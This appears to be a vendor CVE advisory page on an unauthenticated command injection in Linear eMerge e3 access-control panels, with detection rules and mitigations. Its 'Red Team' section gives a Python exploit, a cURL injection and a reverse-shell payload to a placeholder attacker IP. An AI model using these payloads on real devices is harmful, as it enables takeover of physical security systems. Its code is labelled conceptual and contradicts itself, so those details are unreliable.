☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-9441

CVE-2024-9441 OS Command Injection in Linear
📅 PUBLISHED: 2024-10-02 18:50 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 53.47%
👁️
53.47% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9441 is a critical OS command injection vulnerability in the Linear eMerge e3-Series physical access control system (PACS) through version 1.00-07. A remote, unauthenticated attacker can exploit the forgot_password functionality by injecting arbitrary OS commands via the login_id parameter. With a CVSS score of 9.8, this flaw allows full compromise of the device, enabling attackers to pivot into building management networks, exfiltrate badge databases, or disable door locks. No patch is currently available from the vendor, and no public exploit code has been released, but the attack vector is trivial to implement.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a software package manager (NPM, PyPI, Go, Ruby) but in a proprietary embedded Linux appliance. The risk is amplified by the device’s role in physical security—compromise can lead to unauthorized building access.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no human action needed.
  • Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
  • Confidentiality Impact: High (C:H) – full read access to device filesystem.
  • Integrity Impact: High (I:H) – arbitrary command execution.
  • Availability Impact: High (A:H) – can crash or brick the device.

Threat Level: Critical. The device is a physical security controller, and exploitation can lead to real-world breaches.

Deep Dive & Mechanics

The Linear eMerge e3-Series is a web-based access control panel. The forgot_password endpoint is intended to allow users to reset their password by providing a valid login_id. However, the application fails to sanitize user input before passing it to an OS-level command (likely a shell call to send an email or query a database). An attacker can inject command separators (e.g., ;, |, `) to execute arbitrary commands.

Vulnerable Code Path (conceptual):

$login_id = $_POST['login_id'];
$command = "sendmail -t -i <<< 'Subject: Password Reset\nTo: $login_id'";
system($command);

The $login_id is directly interpolated into the shell command without escaping.

Exploitation Mechanics:

  • The login_id parameter is sent via POST to /forgot_password.php (or similar).
  • Injection payload: admin@example.com; id > /tmp/pwned
  • The server executes: sendmail ... admin@example.com; id > /tmp/pwned
  • The id command runs, writing output to /tmp/pwned.

Vulnerable vs. Patched Code

Vulnerable (e3-Series <= 1.00-07):

$login_id = $_POST['login_id'];
$output = shell_exec("echo 'Reset link sent to: $login_id' >> /var/log/reset.log");

Patched (hypothetical):

$login_id = escapeshellarg($_POST['login_id']);
$output = shell_exec("echo 'Reset link sent to: $login_id' >> /var/log/reset.log");

The escapeshellarg() function wraps the input in single quotes and escapes any dangerous characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target: Linear eMerge e3-Series (any version <= 1.00-07)
  • Network access to the web interface (default port 80/443)
  • No authentication required

Exploit Script (Python):

import requests

target = "http://<target_ip>"
payload = "admin@example.com; id > /tmp/pwned"

data = {
    "login_id": payload,
    "action": "forgot_password"
}

r = requests.post(f"{target}/forgot_password.php", data=data)
print(f"Status: {r.status_code}")
print("Command executed. Check /tmp/pwned on device.")

Manual Exploit (cURL):

curl -X POST http://<target_ip>/forgot_password.php \
  -d "login_id=admin@example.com; id > /tmp/pwned&action=forgot_password"

Reverse Shell Payload:

login_id=admin@example.com; bash -c 'exec bash -i &>/dev/tcp/<attacker_ip>/4444 <&1'

Blue Team (Defensive)

Detection Steps:

  1. Monitor HTTP POST requests to /forgot_password.php with unusual login_id values (containing shell metacharacters).
  2. Check for outbound connections from the eMerge device to unknown IPs on high ports.
  3. Review system logs for unexpected command execution (e.g., /var/log/messages).

Honeypot Configuration:

  • Deploy a fake eMerge instance on a separate VLAN.
  • Log all login_id values for threat intelligence.

Indicators of Compromise (IOCs)

Type Indicator Description
Network POST to /forgot_password.php with login_id containing ;, ` , `` ``
File /tmp/pwned or similar files Evidence of command execution
Process bash, sh, python spawned by httpd Unusual child processes
Log /var/log/messages entries with shell commands Audit trail of exploitation
Network Outbound connections to attacker IPs Reverse shell or data exfiltration

Detection Engineering

YARA Rule

rule CVE_2024_9441_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Linear eMerge e3-Series forgot_password endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9441"
    strings:
        $injection1 = /login_id=.*[;&|`$]/ nocase
        $injection2 = /forgot_password.*login_id=.*\b(?:bash|sh|cmd|powershell)\b/ nocase
        $injection3 = /login_id=.*\b(?:exec|system|passthru|shell_exec)\b/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9441 Linear eMerge OS Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to forgot_password.php with shell metacharacters in login_id
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/forgot_password.php'
        cs-uri-query|contains: 'login_id='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
        - '&&'
        - '||'
    condition: selection and keywords
falsepositives:
    - Legitimate password reset requests with special characters in email (rare)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-9441 Linear eMerge e3-Series OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/forgot_password.php"; http_uri;
    content:"login_id="; http_client_body;
    pcre:"/login_id=[^&]*(?:[;&|`$]|\\b(?:bash|sh|cmd|powershell)\\b)/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-9441;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices on a separate VLAN with strict firewall rules (allow only necessary IPs).
  2. Disable the forgot_password functionality if not required, by blocking HTTP POST to /forgot_password.php at the WAF or reverse proxy.
  3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

  • Vendor has not released a patch. Contact Linear (now part of Nortek Security & Control) for an update.
  • If possible, upgrade to a newer hardware revision or alternative PACS.
  • Implement input validation at the application layer (e.g., regex for email format) and use parameterized commands.

Workaround:

  • Place a WAF rule to block login_id values containing shell metacharacters:
SecRule ARGS:login_id "@rx [;&|`$]" "id:1000,phase:2,deny,status:403,msg:'CVE-2024-9441 Command Injection'"

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9441/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.